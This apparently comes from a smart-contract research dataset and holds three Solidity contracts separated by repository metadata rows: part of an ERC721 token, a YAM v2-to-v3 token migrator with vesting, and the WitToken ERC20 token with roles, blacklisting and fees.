emit ApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender));
}
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
contract OwnableDelegateProxy { }
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
contract TradeableERC721Token is ERC721, Ownable {
using Strings for string;
address proxyRegistryAddress;
constructor(string memory _name,
string memory _symbol,
address _proxyRegistryAddress) ERC721(_name, _symbol) {
proxyRegistryAddress = _proxyRegistryAddress;
}
function baseTokenURI() public pure returns (string memory) {
return "https://ipfs.io/ipfs/QmV3HwDUkFASJgpmSM4h6wbkRnRUU4UbFwgrdPpPB7tj9k?filename=2021-02-28_19-22-39-1350.mp4";
}
}
| 337,930 | 540 |
5fc20675a0b23d111bb06b17edfbc056dacaacf3762d36bae1d9cd85d0404d12
| 28,598 |
.sol
|
Solidity
| false |
519123139
|
JolyonJian/contracts
|
b48d691ba0c2bfb014a03e2b15bf7faa40900020
|
contracts/4757_17846_0x72cfed9293cbfb2bfc7515c413048c697c6c811c.sol
| 4,288 | 16,408 |
pragma solidity 0.5.15;
// YAM v2 to YAM v3 migrator contract
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call.value(weiValue)(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface YAMv2 {
function balanceOf(address owner) external view returns (uint256);
}
interface YAMv3 {
function mint(address owner, uint256 amount) external;
}
contract Migrator is Context, Ownable {
using SafeMath for uint256;
address public constant yamV2 = address(0xAba8cAc6866B83Ae4eec97DD07ED254282f6aD8A);
address public yamV3;
bool public token_initialized;
bool public delegatorRewardsSet;
uint256 public constant vestingDuration = 30 days;
uint256 public constant delegatorVestingDuration = 90 days;
uint256 public constant startTime = 1600444800; // Friday, September 18, 2020 4:00:00 PM
uint256 public constant BASE = 10**18;
mapping(address => uint256) public delegator_vesting;
mapping(address => uint256) public delegator_claimed;
mapping(address => uint256) public vesting;
mapping(address => uint256) public claimed;
constructor () public {
}
function setV3Address(address yamV3_) public onlyOwner {
require(!token_initialized, "already set");
token_initialized = true;
yamV3 = yamV3_;
}
// Tells contract delegator rewards setting is done
function delegatorRewardsDone() public onlyOwner {
delegatorRewardsSet = true;
}
function vested(address who) public view returns (uint256) {
// completion percentage of vesting
uint256 vestedPerc = now.sub(startTime).mul(BASE).div(vestingDuration);
uint256 delegatorVestedPerc = now.sub(startTime).mul(BASE).div(delegatorVestingDuration);
if (vestedPerc > BASE) {
vestedPerc = BASE;
}
if (delegatorVestedPerc > BASE) {
delegatorVestedPerc = BASE;
}
// add to total vesting
uint256 totalVesting = vesting[who];
// get redeemable total vested by checking how much time has passed
uint256 totalVestingRedeemable = totalVesting.mul(vestedPerc).div(BASE);
uint256 totalVestingDelegator = delegator_vesting[who].mul(delegatorVestedPerc).div(BASE);
// get already claimed vested rewards
uint256 alreadyClaimed = claimed[who].add(delegator_claimed[who]);
// get current redeemable
return totalVestingRedeemable.add(totalVestingDelegator).sub(alreadyClaimed);
}
modifier started() {
require(block.timestamp >= startTime, "!started");
require(token_initialized, "!initialized");
require(delegatorRewardsSet, "!delegatorRewards");
_;
}
function migrate()
external
started
{
// completion percentage of vesting
uint256 vestedPerc = now.sub(startTime).mul(BASE).div(vestingDuration);
// completion percentage of delegator vesting
uint256 delegatorVestedPerc = now.sub(startTime).mul(BASE).div(delegatorVestingDuration);
if (vestedPerc > BASE) {
vestedPerc = BASE;
}
if (delegatorVestedPerc > BASE) {
delegatorVestedPerc = BASE;
}
// gets the yamValue for a user.
uint256 yamValue = YAMv2(yamV2).balanceOf(_msgSender());
// half is instant redeemable
uint256 halfRedeemable = yamValue / 2;
uint256 mintAmount;
// scope
{
// add to total vesting
uint256 totalVesting = vesting[_msgSender()].add(halfRedeemable);
// update vesting
vesting[_msgSender()] = totalVesting;
// get redeemable total vested by checking how much time has passed
uint256 totalVestingRedeemable = totalVesting.mul(vestedPerc).div(BASE);
uint256 totalVestingDelegator = delegator_vesting[_msgSender()].mul(delegatorVestedPerc).div(BASE);
// get already claimed
uint256 alreadyClaimed = claimed[_msgSender()];
// get already claimed delegator
uint256 alreadyClaimedDelegator = delegator_claimed[_msgSender()];
// get current redeemable
uint256 currVested = totalVestingRedeemable.sub(alreadyClaimed);
// get current redeemable delegator
uint256 currVestedDelegator = totalVestingDelegator.sub(alreadyClaimedDelegator);
// add instant redeemable to current redeemable to get mintAmount
mintAmount = halfRedeemable.add(currVested).add(currVestedDelegator);
// update claimed
claimed[_msgSender()] = claimed[_msgSender()].add(currVested);
// update delegator rewards claimed
delegator_claimed[_msgSender()] = delegator_claimed[_msgSender()].add(currVestedDelegator);
}
// BURN YAMv2 - UNRECOVERABLE.
SafeERC20.safeTransferFrom(IERC20(yamV2),
_msgSender(),
address(0x000000000000000000000000000000000000dEaD),
yamValue);
// mint, this is in raw internalDecimals. Handled by updated _mint function
YAMv3(yamV3).mint(_msgSender(), mintAmount);
}
function claimVested()
external
started
{
// completion percentage of vesting
uint256 vestedPerc = now.sub(startTime).mul(BASE).div(vestingDuration);
// completion percentage of delegator vesting
uint256 delegatorVestedPerc = now.sub(startTime).mul(BASE).div(delegatorVestingDuration);
if (vestedPerc > BASE) {
vestedPerc = BASE;
}
if (delegatorVestedPerc > BASE) {
delegatorVestedPerc = BASE;
}
// add to total vesting
uint256 totalVesting = vesting[_msgSender()];
// get redeemable total vested by checking how much time has passed
uint256 totalVestingRedeemable = totalVesting.mul(vestedPerc).div(BASE);
uint256 totalVestingDelegator = delegator_vesting[_msgSender()].mul(delegatorVestedPerc).div(BASE);
// get already claimed vested rewards
uint256 alreadyClaimed = claimed[_msgSender()];
// get already claimed delegator
uint256 alreadyClaimedDelegator = delegator_claimed[_msgSender()];
// get current redeemable
uint256 currVested = totalVestingRedeemable.sub(alreadyClaimed);
// get current redeemable delegator
uint256 currVestedDelegator = totalVestingDelegator.sub(alreadyClaimedDelegator);
// update claimed
claimed[_msgSender()] = claimed[_msgSender()].add(currVested);
// update delegator rewards claimed
delegator_claimed[_msgSender()] = delegator_claimed[_msgSender()].add(currVestedDelegator);
// mint, this is in raw internalDecimals. Handled by updated _mint function
YAMv3(yamV3).mint(_msgSender(), currVested.add(currVestedDelegator));
}
// this is a gas intensive airdrop of sorts
function addDelegatorReward(address[] calldata delegators,
uint256[] calldata amounts,
bool under27 // indicates this batch is for those who delegated under 27 yams)
external
onlyOwner
{
require(!delegatorRewardsSet, "set");
require(delegators.length == amounts.length, "!len");
if (!under27) {
for (uint256 i = 0; i < delegators.length; i++) {
delegator_vesting[delegators[i]] = amounts[i]; // must be on order of 1e24;
}
} else {
for (uint256 i = 0; i < delegators.length; i++) {
delegator_vesting[delegators[i]] = 27 * 10**24; // flat distribution;
}
}
}
// if people are dumb and send tokens here, give governance ability to save them.
function rescueTokens(address token,
address to,
uint256 amount)
external
onlyOwner
{
// transfer to
SafeERC20.safeTransfer(IERC20(token), to, amount);
}
}
| 232,608 | 541 |
688b6ca69b91639e67d810904d278236f4c4ffe54b28c3b30495d4204d2b14e3
| 26,700 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
data/smartbugs-wild-clean-contracts/0x0be4a987fd8dcbd2fff64ba4131d3a208307f667.sol
| 4,726 | 17,752 |
pragma solidity 0.4.24;
//@title WitToken
//@author(luoyuanq233@gmail.com)
//@dev openzeppelinerc20
//1.openzeppelinSafeMath
//2.openzeppelinOwnable,Roles,RBAC,ceo,coo,cro
//3.ERC20ERC20Basic
//4.BasicToken,StandardToken,PausableTokenerc20
//5.BlackListToken
//6.TwoPhaseToken,
//7.UpgradedStandardTokenTetherUSD,erc20
//8.
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address addr) internal {
role.bearer[addr] = true;
}
function remove(Role storage role, address addr) internal {
role.bearer[addr] = false;
}
function check(Role storage role, address addr) view internal {
require(has(role, addr));
}
function has(Role storage role, address addr) view internal returns (bool) {
return role.bearer[addr];
}
}
contract RBAC is Ownable {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address addr, string roleName);
event RoleRemoved(address addr, string roleName);
string public constant ROLE_CEO = "ceo";
string public constant ROLE_COO = "coo";//
string public constant ROLE_CRO = "cro";//
string public constant ROLE_MANAGER = "manager";//
string public constant ROLE_REVIEWER = "reviewer";//
constructor() public{
addRole(msg.sender, ROLE_CEO);
}
function checkRole(address addr, string roleName) view internal {
roles[roleName].check(addr);
}
function hasRole(address addr, string roleName) view public returns (bool) {
return roles[roleName].has(addr);
}
function ownerAddCeo(address addr) onlyOwner public {
addRole(addr, ROLE_CEO);
}
function ownerRemoveCeo(address addr) onlyOwner public{
removeRole(addr, ROLE_CEO);
}
function ceoAddCoo(address addr) onlyCEO public {
addRole(addr, ROLE_COO);
}
function ceoRemoveCoo(address addr) onlyCEO public{
removeRole(addr, ROLE_COO);
}
function cooAddManager(address addr) onlyCOO public {
addRole(addr, ROLE_MANAGER);
}
function cooRemoveManager(address addr) onlyCOO public {
removeRole(addr, ROLE_MANAGER);
}
function cooAddReviewer(address addr) onlyCOO public {
addRole(addr, ROLE_REVIEWER);
}
function cooRemoveReviewer(address addr) onlyCOO public {
removeRole(addr, ROLE_REVIEWER);
}
function cooAddCro(address addr) onlyCOO public {
addRole(addr, ROLE_CRO);
}
function cooRemoveCro(address addr) onlyCOO public {
removeRole(addr, ROLE_CRO);
}
function addRole(address addr, string roleName) internal {
roles[roleName].add(addr);
emit RoleAdded(addr, roleName);
}
function removeRole(address addr, string roleName) internal {
roles[roleName].remove(addr);
emit RoleRemoved(addr, roleName);
}
modifier onlyCEO() {
checkRole(msg.sender, ROLE_CEO);
_;
}
modifier onlyCOO() {
checkRole(msg.sender, ROLE_COO);
_;
}
modifier onlyCRO() {
checkRole(msg.sender, ROLE_CRO);
_;
}
modifier onlyMANAGER() {
checkRole(msg.sender, ROLE_MANAGER);
_;
}
modifier onlyREVIEWER() {
checkRole(msg.sender, ROLE_REVIEWER);
_;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic, RBAC {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
uint256 public basisPointsRate;//
uint256 public maximumFee;//
address public assetOwner;//,
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
uint256 fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
uint256 sendAmount = _value.sub(fee);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[assetOwner] = balances[assetOwner].add(fee);
emit Transfer(msg.sender, assetOwner, fee);
}
emit Transfer(msg.sender, _to, sendAmount);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
uint256 fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
uint256 sendAmount = _value.sub(fee);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
if (fee > 0) {
balances[assetOwner] = balances[assetOwner].add(fee);
emit Transfer(_from, assetOwner, fee);
}
emit Transfer(_from, _to, sendAmount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Pausable is RBAC {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyCEO whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyCEO whenPaused public {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract BlackListToken is PausableToken {
function getBlackListStatus(address _maker) external view returns (bool) {
return isBlackListed[_maker];
}
mapping (address => bool) public isBlackListed;
function addBlackList (address _evilUser) public onlyCRO {
isBlackListed[_evilUser] = true;
emit AddedBlackList(_evilUser);
}
function removeBlackList (address _clearedUser) public onlyCRO {
isBlackListed[_clearedUser] = false;
emit RemovedBlackList(_clearedUser);
}
function destroyBlackFunds (address _blackListedUser) public onlyCEO {
require(isBlackListed[_blackListedUser]);
uint dirtyFunds = balanceOf(_blackListedUser);
balances[_blackListedUser] = 0;
totalSupply_ = totalSupply_.sub(dirtyFunds);
emit DestroyedBlackFunds(_blackListedUser, dirtyFunds);
}
event DestroyedBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
}
contract TwoPhaseToken is BlackListToken{
//
struct MethodParam {
string method; //
uint value; //
bool state; //true,false
}
mapping (string => MethodParam) params;
//
string public constant ISSUE_METHOD = "issue";
string public constant REDEEM_METHOD = "redeem";
//
function submitIssue(uint _value) public onlyMANAGER {
params[ISSUE_METHOD] = MethodParam(ISSUE_METHOD, _value, true);
emit SubmitIsses(msg.sender,_value);
}
//
function comfirmIsses(uint _value) public onlyREVIEWER {
require(params[ISSUE_METHOD].value == _value);
require(params[ISSUE_METHOD].state == true);
balances[assetOwner]=balances[assetOwner].add(_value);
totalSupply_ = totalSupply_.add(_value);
params[ISSUE_METHOD].state=false;
emit ComfirmIsses(msg.sender,_value);
}
//
function submitRedeem(uint _value) public onlyMANAGER {
params[REDEEM_METHOD] = MethodParam(REDEEM_METHOD, _value, true);
emit SubmitRedeem(msg.sender,_value);
}
//
function comfirmRedeem(uint _value) public onlyREVIEWER {
require(params[REDEEM_METHOD].value == _value);
require(params[REDEEM_METHOD].state == true);
balances[assetOwner]=balances[assetOwner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
params[REDEEM_METHOD].state=false;
emit ComfirmIsses(msg.sender,_value);
}
//
function getMethodValue(string _method) public view returns(uint){
return params[_method].value;
}
//
function getMethodState(string _method) public view returns(bool) {
return params[_method].state;
}
event SubmitRedeem(address submit, uint _value);
event ComfirmRedeem(address comfirm, uint _value);
event SubmitIsses(address submit, uint _value);
event ComfirmIsses(address comfirm, uint _value);
}
contract UpgradedStandardToken {
// those methods are called by the legacy contract
function totalSupplyByLegacy() public view returns (uint256);
function balanceOfByLegacy(address who) public view returns (uint256);
function transferByLegacy(address origSender, address to, uint256 value) public returns (bool);
function allowanceByLegacy(address owner, address spender) public view returns (uint256);
function transferFromByLegacy(address origSender, address from, address to, uint256 value) public returns (bool);
function approveByLegacy(address origSender, address spender, uint256 value) public returns (bool);
function increaseApprovalByLegacy(address origSender, address spender, uint addedValue) public returns (bool);
function decreaseApprovalByLegacy(address origSende, address spender, uint subtractedValue) public returns (bool);
}
contract WitToken is TwoPhaseToken {
string public constant name = "Wealth in Token";
string public constant symbol = "WIT";
uint8 public constant decimals = 18;
address public upgradedAddress;
bool public deprecated;
modifier validDestination(address to) {
require(to != address(0x0));
require(to != address(this));
_;
}
constructor (uint _totalTokenAmount) public {
basisPointsRate = 0;
maximumFee = 0;
totalSupply_ = _totalTokenAmount;
balances[msg.sender] = _totalTokenAmount;
deprecated = false;
assetOwner = msg.sender;
emit Transfer(address(0x0), msg.sender, _totalTokenAmount);
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function totalSupply() public view returns (uint256) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).totalSupplyByLegacy();
} else {
return totalSupply_;
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function balanceOf(address _owner) public view returns (uint256 balance) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).balanceOfByLegacy(_owner);
} else {
return super.balanceOf(_owner);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transfer(address _to, uint _value) public validDestination(_to) returns (bool) {
require(!isBlackListed[msg.sender]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value);
} else {
return super.transfer(_to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function allowance(address _owner, address _spender) public view returns (uint256) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).allowanceByLegacy(_owner, _spender);
} else {
return super.allowance(_owner, _spender);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transferFrom(address _from, address _to, uint _value) public validDestination(_to) returns (bool) {
require(!isBlackListed[_from]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value);
} else {
return super.transferFrom(_from, _to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function approve(address _spender, uint256 _value) public returns (bool) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value);
} else {
return super.approve(_spender, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function increaseApproval(address _spender, uint _value) public returns (bool) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).increaseApprovalByLegacy(msg.sender, _spender, _value);
} else {
return super.increaseApproval(_spender, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function decreaseApproval(address _spender, uint _value) public returns (bool) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).decreaseApprovalByLegacy(msg.sender, _spender, _value);
} else {
return super.decreaseApproval(_spender, _value);
}
}
// deprecate current contract in favour of a new one
function deprecate(address _upgradedAddress) public onlyCEO whenPaused {
deprecated = true;
upgradedAddress = _upgradedAddress;
emit Deprecate(_upgradedAddress);
}
// Called when contract is deprecated
event Deprecate(address newAddress);
function setFeeParams(uint newBasisPoints, uint newMaxFee) public onlyCEO {
basisPointsRate = newBasisPoints;
maximumFee = newMaxFee.mul(uint(10)**decimals);
emit FeeParams(basisPointsRate, maximumFee);
}
function transferAssetOwner(address newAssetOwner) public onlyCEO {
require(newAssetOwner != address(0));
assetOwner = newAssetOwner;
emit TransferAssetOwner(assetOwner, newAssetOwner);
}
event TransferAssetOwner(address assetOwner, address newAssetOwner);
// Called if contract ever adds fees
event FeeParams(uint feeBasisPoints, uint maxFee);
}
| 133,311 | 542 |
bc339f7a0424395fa98b6f3a024a210054c61623306515aeedc59627e20205c7
| 27,871 |
.sol
|
Solidity
| false |
492670100
|
Messi-Q/DeFi-Protocol
|
ce2661ef6bbb7810544bb619b6687e7228df8491
|
